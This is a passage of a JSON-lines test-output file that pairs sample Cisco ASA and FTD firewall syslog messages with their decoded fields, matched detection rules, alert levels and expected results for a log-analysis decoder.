"cisco-asa", "fields": {"action": "changed state to up", "description": "Line protocol", "id": "4-411001", "interface": "GigabitEthernet0/0"}, "field_names": ["action", "description", "id", "interface"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-4-405003: IP address collision detected between host 1.0.0.2 at 00e0.ed27.620f and interface FAILOVER, 00e0.ed22.eb39", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "IP address collision", "host_ip": "1.0.0.2", "id": "4-405003", "int_mac_address": "00e0.ed22.eb39", "interface": "FAILOVER", "src_mac": "00e0.ed27.620f"}, "field_names": ["description", "host_ip", "id", "int_mac_address", "interface", "src_mac"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "Oct 03 2018 17:34:08: %ASA-4-106023: Deny udp src office:1.1.1.1/3217 dst FE_xUI:Server_Windows/15000 by access-group \"ACLoffice\" [0x0, 0x0]", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "Deny", "dstip": "Server_Windows", "dstport": "15000", "id": "4-106023", "protocol": "udp", "srcip": "1.1.1.1", "srcport": "3217"}, "field_names": ["action", "dstip", "dstport", "id", "protocol", "srcip", "srcport"], "rule": "64004", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64004", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: warning message"} +{"log": "%ASA-5-505002: Module ips is reloading. Please wait...", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Module ips is reloading. Please wait...", "id": "5-505002"}, "field_names": ["description", "id"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-305012: Teardown dynamic TCP translation from WLC-LAN_inside:10.233.16.130/6890 to outside:193.17.108.1/6890 duration 0:02:32", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Teardown dynamic TCP translation", "dst": "outside", "dst_ip": "193.17.108.1", "dst_port": "6890", "duration": "0:02:32", "id": "6-305012", "src": "WLC-LAN_inside", "src_ip": "10.233.16.130", "src_port": "6890"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "duration", "id", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-305012: Teardown dynamic TCP translation from WLC-LAN_inside:10.233.16.130/6890 to outside:193.17.108.1/6890 duration 0:02:32", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Teardown dynamic TCP translation", "dst": "outside", "dst_ip": "193.17.108.1", "dst_port": "6890", "duration": "0:02:32", "id": "6-305012", "src": "WLC-LAN_inside", "src_ip": "10.233.16.130", "src_port": "6890"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "duration", "id", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-302014: Teardown TCP connection 4211 for external:171.70.168.183/53 to mgmt:192.168.1.185/1032 duration 0:00:00 bytes 526", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"bytes": "526", "connection": "4211", "description": "Teardown TCP connection", "dst": "mgmt", "dst_ip": "192.168.1.185", "dst_port": "1032", "duration": "0:00:00", "id": "6-302014", "src": "external", "src_ip": "171.70.168.183", "src_port": "53"}, "field_names": ["bytes", "connection", "description", "dst", "dst_ip", "dst_port", "duration", "id", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-302018: Teardown GRE connection 4211 from external:171.70.168.183/53 to mgmt:192.168.1.185/1032 duration 0:00:00 bytes 526", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"bytes": "526", "connection": "4211", "description": "Teardown GRE connection", "dst": "mgmt", "dst_ip": "192.168.1.185", "dst_port": "1032", "duration": "0:00:00", "id": "6-302018", "src": "external", "src_ip": "171.70.168.183", "src_port": "53"}, "field_names": ["bytes", "connection", "description", "dst", "dst_ip", "dst_port", "duration", "id", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-302021: Teardown ICMP connection 9 from outside:10.1.2.1/22 (10.1.2.1/22) to inside:10.1.1.2/53496 (10.1.1.2/53496)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"connection": "9", "description": "Teardown ICMP connection", "dst": "inside", "dst_ip": "10.1.1.2", "dst_port": "53496", "id": "6-302021", "mapped_dst_ip": "10.1.1.2", "mapped_dst_port": "53496", "mapped_src_ip": "10.1.2.1", "mapped_src_port": "22", "src": "outside", "src_ip": "10.1.2.1", "src_port": "22"}, "field_names": ["connection", "description", "dst", "dst_ip", "dst_port", "id", "mapped_dst_ip", "mapped_dst_port", "mapped_src_ip", "mapped_src_port", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-302023: Teardown stub TCP connection for external:171.70.168.183/53 to mgmt:192.168.1.185/1032 duration 0:00:00 forwarded bytes 526 reason Conn-timeout", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"bytes": "526", "description": "Teardown stub TCP connection", "dst": "mgmt", "dst_ip": "192.168.1.185", "dst_port": "1032", "duration": "0:00:00", "id": "6-302023", "reason": "Conn-timeout", "src": "external", "src_ip": "171.70.168.183", "src_port": "53"}, "field_names": ["bytes", "description", "dst", "dst_ip", "dst_port", "duration", "id", "reason", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-603109: Teardown PPOE Tunnel at interface, tunnel-id = 12312, remote-peer = 192.168.0.1", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Teardown PPOE Tunnel", "id": "6-603109", "interface": "interface", "remote-peer": "192.168.0.1", "tunnel_id": "12312"}, "field_names": ["description", "id", "interface", "remote-peer", "tunnel_id"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-305011: Built dynamic TCP translation from WLC-LAN_inside:10.235.50.55/58159 to outside:193.17.116.1/58159", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Built dynamic TCP translation", "dst": "outside", "dst_ip": "193.17.116.1", "dst_port": "58159", "id": "6-305011", "src": "WLC-LAN_inside", "src_ip": "10.235.50.55", "src_port": "58159"}, "field_names": ["description", "dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-302013: Built outbound TCP connection 9 for outside:10.1.2.1/22 (10.1.2.1/22) to inside:10.1.1.2/53496 (10.1.1.2/53496)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"connection": "9", "description": "Built outbound TCP connection", "dst": "inside", "dst_ip": "10.1.1.2", "dst_port": "53496", "id": "6-302013", "mapped_dst_ip": "10.1.1.2", "mapped_dst_port": "53496", "mapped_src_ip": "10.1.2.1", "mapped_src_port": "22", "src": "outside", "src_ip": "10.1.2.1", "src_port": "22"}, "field_names": ["connection", "description", "dst", "dst_ip", "dst_port", "id", "mapped_dst_ip", "mapped_dst_port", "mapped_src_ip", "mapped_src_port", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-603108: Built PPTP Tunnel at interfaceex, tunnel-id = 32135, remote-peer = 192.168.0.1, virtual-interface = 3141, client-dynamic-ip = 192.168.0.2, username = userex, MPPE-key-strength = 15412", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"MPPE_key_strength": "15412", "client_dyn_ip": "192.168.0.2", "description": "Built PPTP Tunnel", "dstuser": "userex", "id": "6-603108", "if_name": "interfaceex", "remote_peer": "192.168.0.1", "tunnel_id": "32135", "virtual_if": "3141"}, "field_names": ["MPPE_key_strength", "client_dyn_ip", "description", "dstuser", "id", "if_name", "remote_peer", "tunnel_id", "virtual_if"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-718060: Inbound socket select fail: context=21312", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"context_ID": "21312", "description": "Inbound socket select fail", "id": "5-718060"}, "field_names": ["context_ID", "description", "id"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-718062: Inbound thread is awake (context=21312)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"context_ID": "21312", "description": "Inbound thread is awake", "id": "5-718062"}, "field_names": ["context_ID", "description", "id"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-106015: Deny TCP (no connection) from 192.168.0.1/11 to 192.168.0.2/22 flags tcp_flags on interface interface_name", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "Deny", "dstip": "192.168.0.2", "dstport": "22", "flags": "tcp_flags", "id": "6-106015", "interface": "interface_name", "protocol": "TCP", "srcip": "192.168.0.1", "srcport": "11"}, "field_names": ["action", "dstip", "dstport", "flags", "id", "interface", "protocol", "srcip", "srcport"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-304001: 192.168.200.2 Accessed URL 157.166.255.19:http://cnn.com/", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dstip": "157.166.255.19", "id": "5-304001", "srcip": "192.168.200.2", "url": "http://cnn.com/"}, "field_names": ["dstip", "id", "srcip", "url"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-304002: Access denied URL http://s.tbdress.com/images/favicon.ico SRC 10.69.6.39 DEST 72.21.91.19 on interface inside", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "denied", "dstip": "72.21.91.19", "id": "5-304002", "srcip": "10.69.6.39", "url": "http://s.tbdress.com/images/favicon.ico"}, "field_names": ["action", "dstip", "id", "srcip", "url"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-611103: User logged out: Uname: impssnagios", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "User logged out", "id": "5-611103", "username": "impssnagios"}, "field_names": ["description", "id", "username"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-6-421002: UDP flow from WLC-LAN_inside:10.233.19.92/60803 to outside:8.8.8.8/53 bypassed application checking because the protocol is not supported", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dst": "60803", "dst_ip": "outside", "dst_port": "8.8.8.8", "id": "6-421002", "src": "UDP flow", "src_ip": "WLC-LAN_inside", "src_port": "10.233.19.92"}, "field_names": ["dst", "dst_ip", "dst_port", "id", "src", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-338303: Address 184.173.97.68 (ads74271.hotwords.com) timed out. Removing rule", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"address": "184.173.97.68", "hostname": "ads74271.hotwords.com", "id": "5-338303"}, "field_names": ["address", "hostname", "id"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-338302: Address 185.40.154.13 discovered for domain gaijin.s-2.clients.cdnnow.ru from blacklist, Adding rule", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"address": "185.40.154.13", "domain": "gaijin.s-2.clients.cdnnow.ru", "id": "5-338302", "type": "blacklist"}, "field_names": ["address", "domain", "id", "type"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-111010: User 'pgskyadm', running 'CLI' from IP 143.16.64.46, executed 'terminal pager 0'", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"command": "terminal pager 0", "id": "5-111010", "ip": "143.16.64.46", "running": "CLI", "type": "executed", "username": "pgskyadm"}, "field_names": ["command", "id", "ip", "running", "type", "username"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-500003: Bad TCP hdr length (hdrlen=4, pktlen=74) from 123.146.183.231/34160 to 116.6.127.118/443, flags: INVALID, on interface outside", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Bad TCP hdr length", "dst_ip": "116.6.127.118", "dst_port": "443", "flags": "INVALID", "hdrlen": "4", "id": "5-500003", "interface": "outside", "pktlen": "74", "src_ip": "123.146.183.231", "src_port": "34160"}, "field_names": ["description", "dst_ip", "dst_port", "flags", "hdrlen", "id", "interface", "pktlen", "src_ip", "src_port"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-5-771002: CLOCK: System clock set, source: NTP, IP: opbay01ntp, before: 13:44:00.021 GMT Wed Sep 20 2017, after: 13:44:11.537 GMT Wed Sep 20 2017", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"after": "13:44:11.537 GMT Wed Sep 20 2017", "before": "13:44:00.021 GMT Wed Sep 20 2017", "description": "CLOCK: System clock set", "id": "5-771002", "ip": "opbay01ntp", "source": "NTP"}, "field_names": ["after", "before", "description", "id", "ip", "source"], "rule": "64005", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64005", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: notification/informational message"} +{"log": "%ASA-7-609001: Built local-host Internet:200.201.202.203", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Built local-host", "id": "7-609001", "ip_address": "200.201.202.203", "zone_name": "Internet"}, "field_names": ["description", "id", "ip_address", "zone_name"], "rule": "64006", "level": "0", "expected_decoder": "cisco-asa", "expected_rule": "64006", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: debug message"} +{"log": "%ASA-6-605004: Login denied from 192.168.2.10/32597 to outside:192.168.2.14/ssh for user \"root\"", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "denied", "dstip": "192.168.2.14", "dstport": "ssh", "dstuser": "root", "id": "6-605004", "interface": "outside", "srcip": "192.168.2.10", "srcport": "32597"}, "field_names": ["action", "dstip", "dstport", "dstuser", "id", "interface", "srcip", "srcport"], "rule": "64007", "level": "9", "expected_decoder": "cisco-asa", "expected_rule": "64007", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Failed login attempt"} +{"log": "%ASA-5-502103: User priv level changed: Uname: impssnagios From: 1 To: 15", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "User priv level changed", "from_level": "1", "id": "5-502103", "to_level": "15", "username": "impssnagios"}, "field_names": ["description", "from_level", "id", "to_level", "username"], "rule": "64008", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64008", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Privilege changed"} +{"log": "%ASA-6-605005: Login permitted from 192.168.0.1/11 to outside:192.168.0.2/ssh for user \"username\"", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"action": "permitted", "dstip": "192.168.0.2", "dstport": "ssh", "dstuser": "username", "id": "6-605005", "interface": "outside", "srcip": "192.168.0.1", "srcport": "11"}, "field_names": ["action", "dstip", "dstport", "dstuser", "id", "interface", "srcip", "srcport"], "rule": "64009", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64009", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Successful login"} +{"log": "%ASA-6-308001: console enable password incorrect for number tries (from 192.168.0.1)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "6-308001", "srcip": "192.168.0.1"}, "field_names": ["id", "srcip"], "rule": "64010", "level": "9", "expected_decoder": "cisco-asa", "expected_rule": "64010", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Password mismatch while running 'enable'"} +{"log": "%ASA-4-405001: Received ARP response collision from 10.233.250.16/202d.07fc.5c1a on interface WLC-LAN_inside with existing ARP entry 10.233.250.16/0016.a421.94ef", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Received ARP response collision", "existing_arp": "0016.a421.94ef", "id": "4-405001", "interface": "WLC-LAN_inside", "new_arp": "202d.07fc.5c1a", "src_ip": "10.233.250.16"}, "field_names": ["description", "existing_arp", "id", "interface", "new_arp", "src_ip"], "rule": "64011", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64011", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: ARP collision detected"} +{"log": "%ASA-4-401004 Shunned packet: 192.168.0.1 = 192.168.0.2 on interface interfacename", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"dstip": "192.168.0.2", "id": "4-401004", "srcip": "192.168.0.1"}, "field_names": ["dstip", "id", "srcip"], "rule": "64012", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64012", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Attempt to connect from a blocked (shunned) IP"} +{"log": "%ASA-7-710004: TCP connection limit exceeded from 192.168.0.1/11 to outside:192.168.0.2/22 (current connections/connection limit = 11/10)", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "7-710004"}, "field_names": ["id"], "rule": "64013", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64013", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Connection limit exceeded"} +{"log": "%ASA-1-106022: Deny protocol connection spoof from 192.168.0.1 to 192.168.0.2 on interface interfacename.", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "1-106022", "srcip": "192.168.0.1"}, "field_names": ["id", "srcip"], "rule": "64017", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64017", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Attack in progress detected"} +{"log": "%ASA-2-106017: Deny IP due to Land Attack from 193.17.108.1 to 193.17.108.1", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Deny IP due to Land Attack", "dst_ip": "193.17.108.1", "id": "2-106017", "src_ip": "193.17.108.1"}, "field_names": ["description", "dst_ip", "id", "src_ip"], "rule": "64017", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64017", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Attack in progress detected"} +{"log": "%ASA-2-106020: Deny IP teardrop fragment (size = 1480, offset = 0) from 10.235.224.228 to 10.235.0.1", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "Deny IP teardrop fragment", "dst": "10.235.0.1", "id": "2-106020", "offset": "0", "size": "1480", "src": "10.235.224.228"}, "field_names": ["description", "dst", "id", "offset", "size", "src"], "rule": "64017", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64017", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Attack in progress detected"} +{"log": "%ASA-1-106021: Deny protocol reverse path check from 192.168.0.1 to 192.168.0.2 on interface interfacename", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "1-106021", "srcip": "192.168.0.1"}, "field_names": ["id", "srcip"], "rule": "64017", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64017", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Attack in progress detected"} +{"log": "%ASA-6-113005: AAA user authentication Rejected: reason = string: server = 174.143.32.22, User = user: user IP = 192.168.0.1", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "6-113005"}, "field_names": ["id"], "rule": "64018", "level": "5", "expected_decoder": "cisco-asa", "expected_rule": "64018", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: AAA (VPN) authentication failed"} +{"log": "%ASA-6-113004: AAA user example Successful: server = 174.243.13.65, User = user", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "6-113004"}, "field_names": ["id"], "rule": "64019", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64019", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: AAA (VPN) authentication successful"} +{"log": "%ASA-6-113006: User user locked out on exceeding number successive failed authentication attempts", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "6-113006"}, "field_names": ["id"], "rule": "64020", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64020", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: AAA (VPN) user locked out"} +{"log": "%ASA-3-201008: Disallowing new connections", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "3-201008"}, "field_names": ["id"], "rule": "64021", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64021", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: The ASA is disallowing new connections"} +{"log": "%ASA-1-105005: (Secondary) Lost Failover communications with mate on interface WLC-LAN_inside", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"description": "(Secondary) Lost Failover communications with mate on", "id": "1-105005", "interface": "WLC-LAN_inside"}, "field_names": ["description", "id", "interface"], "rule": "64022", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64022", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall failover pair communication problem"} +{"log": "%ASA-1-105009: (Primary) Testing on interface interface_name Failed", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "1-105009"}, "field_names": ["id"], "rule": "64022", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64022", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall failover pair communication problem"} +{"log": "%ASA-1-105043: (Primary) Failover interface failed", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "1-105043"}, "field_names": ["id"], "rule": "64022", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64022", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall failover pair communication problem"} +{"log": "%ASA-5-111003: 192.168.0.1 Erase configuration", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-111003"}, "field_names": ["id"], "rule": "64023", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64023", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall configuration deleted"} +{"log": "%ASA-5-111005: 192.168.0.1 end configuration: OK", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-111005"}, "field_names": ["id"], "rule": "64024", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64024", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall configuration changed"} +{"log": "%ASA-5-111004: 192.168.0.1 end configuration: FAILED", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-111004"}, "field_names": ["id"], "rule": "64024", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64024", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall configuration changed"} +{"log": "%ASA-5-111002: Begin configuration: 192.168.0.1 reading from device", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-111002"}, "field_names": ["id"], "rule": "64024", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64024", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall configuration changed"} +{"log": "%ASA-5-111007: Begin configuration: 192.168.0.1 reading from device.", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-111007"}, "field_names": ["id"], "rule": "64024", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64024", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall configuration changed"} +{"log": "%ASA-5-111008: User 'impssnagios' executed the 'enable' command.", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"command": "enable", "id": "5-111008", "type": "executed", "username": "impssnagios"}, "field_names": ["command", "id", "type", "username"], "rule": "64025", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64025", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall command executed (for accounting only) I"} +{"log": "%ASA-7-111009: User user executed cmd:string.", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "7-111009"}, "field_names": ["id"], "rule": "64026", "level": "3", "expected_decoder": "cisco-asa", "expected_rule": "64026", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: Firewall command executed (for accounting only) II"} +{"log": "%ASA-5-502101: New user added to local dbase: Uname: user Priv: privilege_level Encpass: string", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-502101"}, "field_names": ["id"], "rule": "64027", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64027", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: User created or modified on the Firewall"} +{"log": "%ASA-5-502102: User deleted from local dbase: Uname: user Priv: privilege_level Encpass: string", "decoder": "cisco-asa", "parent": "cisco-asa", "fields": {"id": "5-502102"}, "field_names": ["id"], "rule": "64027", "level": "8", "expected_decoder": "cisco-asa", "expected_rule": "64027", "rule_matches_expected": true, "ini_file": "cisco_asa.ini", "section": "cisco asa: User created or modified on the Firewall"} +{"log": "%FTD-1-101001: (Primary) Failover cable OK.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "101001", "event.severity": "1", "message": "(Primary) Failover cable OK.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91501", "level": "7", "expected_decoder": "cisco-ftd", "expected_rule": "91501", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: High severity alert"} +{"log": "%FTD-1-101002: (Primary) Bad failover cable.", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "101002", "event.severity": "1", "message": "(Primary) Bad failover cable.", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91501", "level": "7", "expected_decoder": "cisco-ftd", "expected_rule": "91501", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: High severity alert"} +{"log": "%FTD-2-106001: Inbound TCP connection denied from 192.168.1.59/port to 192.168.1.59/port flags tcp_flags on interface interface_name", "decoder": "cisco-ftd", "parent": "cisco-ftd", "fields": {"description": "Inbound TCP connection denied", "dst_ip": "192.168.1.59", "dst_port": "port", "event.id": "106001", "event.severity": "2", "flags": "tcp_flags", "interface": "interface_name", "message": "Inbound TCP connection denied from 192.168.1.59/port to 192.168.1.59/port flags tcp_flags on interface interface_name", "product.name": "FTD", "src_ip": "192.168.1.59", "src_port": "port"}, "field_names": ["description", "dst_ip", "dst_port", "event.id", "event.severity", "flags", "interface", "message", "product.name", "src_ip", "src_port"], "rule": "91502", "level": "5", "expected_decoder": "cisco-ftd", "expected_rule": "91502", "rule_matches_expected": true, "ini_file": "cisco_ftd.ini", "section": "Cisco FTD: Critical severity alert"} +{"log": "%FTD-2-106002: protocol Connection denied by outbound list acl_ID src inside_address dest outside_address", "decoder": "cisco-ftd", "parent": "", "fields": {"event.id": "106002", "event.severity": "2", "message": "protocol Connection denied by outbound list acl_ID src inside_address dest outside_address", "product.name": "FTD"}, "field_names": ["event.id", "event.severity", "message", "product.name"], "rule": "91502", "level": "5", 